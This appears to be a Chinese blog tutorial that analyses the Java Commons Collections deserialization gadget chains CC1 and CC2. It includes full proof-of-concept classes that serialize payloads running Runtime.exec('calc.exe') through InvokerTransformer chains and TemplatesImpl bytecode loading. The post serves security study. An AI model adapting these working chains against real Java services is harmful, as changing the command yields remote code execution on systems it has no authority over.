JavaSec - CC链 (一)

入门一下Java反序列化
前期准备: idea起一个Maven项目
Apache Commons Collections 提供了大量的集合类和实用工具,扩展了Java标准库的功能,使得集合操作更加高效和便捷。
CC1
CC1要求的jdk版本在8u71以下且commons-collections <= 3.2.1,这里使用Index of java-local/jdk (huaweicloud.com)的7u80版本进行复现
jdk装上后记得jdk8 sun包源码下载 与 idea 设置源码_sun jdk源码下载-CSDN博客
把sun也装了,在CC1中会用到
还要注意的是jdk1.7和jdk1.8的sun有些许不同
pom.xml配置:
<dependencies>
<!-- https://mvnrepository.com/artifact/junit/junit -->
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
流程
首先,目标是命令执行,先看看Java下最简单的一个命令执行
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");
如果是通过反射机制执行:
Class<?> runtimeClass = Class.forName("java.lang.Runtime");
// 获取 getRuntime 方法
Method getRuntimeMethod = runtimeClass.getMethod("getRuntime");
// 调用 getRuntime 方法,获取 Runtime 实例
Object runtimeInstance = getRuntimeMethod.invoke(null);
// 获取 exec 方法
Method execMethod = runtimeClass.getMethod("exec", String.class);
execMethod.invoke(runtimeInstance, "calc.exe");
入口点:
当然是Transformer,transformer接口有21个实现
CC1实现命令执行主要用的是InvokerTransformer:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
这个方法可以通过反射的方法获取到指定对象
String methodName: 要调用的方法的名称。Class[] paramTypes: 方法的参数类型数组。Object[] args: 传递给方法的参数值数组。
transformer方法:

这里借助ChainedTransformer进行拼接去构造input,
ChainedTransformer可以创建一系列的Transfomer链式调用,最终达成Runtime.getRuntime().exec("calc.exe")的效果
如何获得Runtime对象?
在Runtime中有这样一个方法
public static Runtime getRuntime() {
return currentRuntime;
}
所以可以通过getMethod()来获取到getRuntime()方法,进而可以调用exec
构造InvokerTransformer对象
而getMethod()方法可以通过Runtime的class对象获取(基础的反射知识)
所以这里会用到
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
ConstantTransformer方法来获取到java.lang.Runtime
ConstantTransformer实例的参数是类,则调用它的transformer方法会返回java.lang.Runtime
new ConstantTransformer(Runtime.class)
获取到Runtime的class对象

然后构造:
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })
(需要注意参数类型和参数值这两个参数要求是数组,new Class[0]表示该方法无需输入参数)
接下来需要用的invoke()去调用包装在当前Method对象中的方法,当getMethod这个InvokerTransformer对象处理完后会得到Runtime的getRuntime()方法,它的输出将会是下个Transformer的input,于是可以构造:
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] })
同理以上,构造:
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
来实现命令执行
最终:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
//这里将transformers这个数组存到ChainedTransformer的对象里

接下来的问题就是如何调用这个ChainedTransformer对象
有这样一个class:TransformedMap,其中会调用transform方法,且继承了java.io.Serializable,TransformedMap可以指定transform去修饰Map实例
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
//为什么有这步?之后会写出来
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
这里新建了一个innerMap实例,然后用TransformedMap的decorate方法修饰innerMap为outermap,当outerMap的值被修改时会自动应用transformerChain里的操作
所以这里也需要找个能修改Map的类
而AnnotationInvocationHandler类就可以做到这点
TransformedMap中的transformKey、transformValue和checkSetValue调用了transformer,但这些方法都属于protected,所以继续找会调用这些方法但属于public的另一些方法,于是有这么两个符合条件

接下来找个能调用transformKey、transformValue和checkSetValue的地方
全局搜一下,找到AbstractInputCheckedMapDecorator
它的setValue方法调用了checkSetValue

继续找谁调用了setValue
AnnotationInvocationHandler:
它的readObject方法会调用setValue方法

找到方向了,于是构造反射获取AnnotationInvocationHandler类,获取其实例
AnnotationInvocationHandler的构造方法,需要两个参数,一个是继承Annotation的类,另一个是Map
Map参数传入刚修饰完的outermap即可,这里继承Annotation的类用target
target的返回值是value属性,且var5.getValue();这里调用了Value,所以需要innerMap.put("value", "value");在Map中把Key改成value
最后得到
Class class_1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor class_1_con = class_1.getDeclaredConstructor(Class.class, Map.class);
//设置构造函数的访问权限
class_1_con.setAccessible(true);
Object instance = class_1_con.newInstance(Target.class,outerMap);
这里的instance就是AnnotationInvocationHandler的实例
模拟网络传输反序列化场景
//模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
fin.readObject();
package www.orxiain.unser;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
//让key的值为value
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class class_1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor class_1_con = class_1.getDeclaredConstructor(Class.class, Map.class);
class_1_con.setAccessible(true);
Object instance = class_1_con.newInstance(Target.class,outerMap);
//模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
fin.readObject();
}}
调用栈:

运行拿到计算器
CC2
CC2反序列化的特性是使用了commons-collections4,没有CC3与CC1链对于CC版本的限制
用的还是invoke
Java 字节码以二进制的形式存储在 .class 文件中,每一个 .class 文件包含一个 Java 类或接口。Javaassist 就是一个用来 处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
</dependencies>
如果跟我一样爆the trustAnchors parameter must be non-empty这个错,换个JDK就行了,原因好像是[OpenJDK中的JRE的默认信任库为空](异常:java.security.InvalidAlgorithmParameterException the trustAnchors parameter must be non-empty解决方案_caused by: java.security.invalidalgorithmparameter-CSDN博客),下载完依赖再换回去也可以
****## 利用链 1
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
在CC2中主要利用了PriorityQueue.readObject()这个方法
PriorityQueue类实现了序列化接口

PriorityQueue是 Java 中的一个类,它实现了Queue接口,并且是一个基于优先级堆的优先级队列。与普通的队列(如LinkedList)不同,PriorityQueue中的元素是按照优先级顺序排列的,而不是按照先进先出(FIFO)的原则。
前面获取Runtime对象和命令执行的方法与CC1相同,都是通过Transformchain链起来的,但这里使用TransformingComparator这个修饰器将我们写的Transformchain修饰为一个Comparator对象,当PriorityQueue的一个对象传入comparator对象,PriorityQueue可以将它作为比较器,而TransformingComparator刚刚会调用transform方法,这不就巧了吗(摊手
PriorityQueue的构造方法

添加两个元素
queue.add(1);
queue.add(2);
便会自动调用TransformingComparator的compare方法,这个方法会调用transformer.transform方法,这里和CC1的TransformMap似曾相识。此时已经弹了两次calc,为什么这里就执行了? 接下来会说
之后添加模拟网络传输生成序列化代码保存到cc2.txt,然后读取它执行一次反序列化
try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
再次运行,却发现命令执行两次,但反序列化没有执行
发现是queue.add(2);这里会报错
debug一下
add第二个元素后会调用TransformingComparator的compare方法
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
在这个方法的最后返回了this.decorated.compare(value1, value2)
再看一下compare
这里程序意外退出,说明return返回了0,导致后面的序列化代码没有生效
如何绕过呢?
实际上除了siftUpUsingComparator还有个siftUpComparable方法
二者调用的判断是通过siftUp这个方法
于是只要让comparator为空即可调用后者,也就是创建PriorityQueue的对象时先不传入Tcomparator
// PriorityQueue queue = new PriorityQueue(1, Tcomparator);
PriorityQueue queue = new PriorityQueue(1);
这里已经绕过了半途退出,但这个方法不会调用comparator.compare,后面的命令执行也就无从谈起了
解法就是在queue.add添加完第二个元素后,通过反射获得对象然后将Tcomparator重新传入到queue里
//获取java.util.PriorityQueue类的comparator字段
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
//设置可访问
field.setAccessible(true);
//传入queue对象的comparator参数
field.set(queue,Tcomparator);
field对象表示PriorityQueue类中的comparator字段,通过这个对象,你可以获取或设置comparator字段的值。
这样就可以正常反序列化执行了

POC
package www.orxiain.unser;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
// PriorityQueue queue = new PriorityQueue(1, Tcomparator);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
//获取java.util.PriorityQueue类的comparator字段
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
//设置可访问
field.setAccessible(true);
//传入queue对象的comparator参数
field.set(queue,Tcomparator);
try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
利用链 2
在利用链2中用到了TemplatesImpl来进行反序列化,以此展开的就是TemplatesImpl反序列化的利用,涉及到Java的类加载机制和javasist的使用,其核心是通过defineClass恶意加载字节码
获取一个类的字节码的方式这里有两个:
- 直接用javasist生成一个
- 新建一个类,然后用javasist把它导入为字节码
不管怎么说,先看看这
TemplatesImpl是怎么利用的吧
TemplatesImpl反序列化利用
利用链:
TemplatesImpl#getOutputProperties->TemplatesImpl#newTransformer->TemplatesImpl#getTransletInstance->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass
TemplatesImpl#newTransformer->TemplatesImpl#getTransletInstance->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass
TemplatesImpl#getTransletInstance->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass
在TemplatesImpl中有一个TransletClassLoader的内部类,其继承了ClassLoader
defineTransletClasses调用了它
在前面有个对_bytecodes的判断
private byte[][] _bytecodes = null;
_bytecodes就是之后会被加载的字节码,_bytecodes加载出来的类之后会被赋给_class
之后需要给_tfactory传个TransformerFactoryImpl的对象防止报错
private transient TransformerFactoryImpl _tfactory = null;
继续看谁调用了defineTransletClasses
getTransletInstance调用了,这里需要过俩判断
_name可以通过反射改,而_class默认为null不用管
接下来的AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();将_class进行了实例化加载,也是在这里执行了构造方法
为什么非得初始化呢? 因为类中的静态代码块需要进行到初始化步骤之后才能运行
跟到defineTransletClasses这里
在这里加载
这里还有个判断,如果该类的父类为ABSTRACT_TRANSLET就给 _transletIndex赋值,_transletIndex在实例化类时用来指定_class的元素
所以在之后构造恶意EvilTemplatesImpl时需要让它继承AbstractTranslet
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
EvilTemplatesImpl
package www.orxiain.unser;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilTemplatesImpl extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public EvilTemplatesImpl() {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
}
LoadEvil
package www.orxiain.unser;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.*;
public class LoadEvil {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("www.orxiain.unser.EvilTemplatesImpl");
//用javassist获取指定类的字节码
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
// 使用反射设置 _bytecodes 字段
Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{bytes});
// 使用反射设置 _tfactory 字段
Field tfactoryField = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// 使用反射设置 _name 字段
Field nameField = TemplatesImpl.class.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "seizer");
Method defineTransletClasses = TemplatesImpl.class.getDeclaredMethod("getTransletInstance");
defineTransletClasses.setAccessible(true);
defineTransletClasses.invoke(templates);
}
}
运行LoadEvil就能拿到calc了
POC
package www.orxiain.unser;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2_2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("cc2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
流程
在inputStream.readObject();断个点,开始看起
前面的不说了,从PriorityQueue.readObject开始,接下来调用了Heapify,siftDown
由于这里的comparator被反射放入,所以进入siftDownUsingComparator调用comparator.compare
此时obj2就是传入的templates
this.transformer就是传入的transformer
这里的↓

之后跟进到invokertransfomer
这里的this.iMethodName传入了newTransformer
因为这里newTransformerv调用了getTransletInstance
这里图片上传出了问题,跟着步进就可以了
接下来就是读取字节的操作了,也就是上面的TemplatesImpl反序列化,一样的流程
(太喵了,这是怎么发现的啊😭😭😭🥵🥵🥵taiqiangle
Links
高质量 & 参考
CC1:
Java安全反序列化之CC1链的分析与利用 - 先知社区 (aliyun.com) Java反序列化研究 - Boogiepop Doesn’t Laugh (boogipop.com) CC1链详解 - 林烬 - 博客园 (cnblogs.com)
CC2:
Java安全之Javassist动态编程 - nice_0e3 - 博客园 (cnblogs.com) javassist使用全解析 - rickiyang - 博客园 (cnblogs.com) 通俗易懂的Java Commons Collection 2分析 TemplatesImpl利用链分析 - seizer-zyx - 博客园 Java类加载过程 - seizer-zyx - 博客园 https://tyskill.github.io/posts/javatemplatesimpl/ 老大难的 Java ClassLoader 再不理解就老了 - 知乎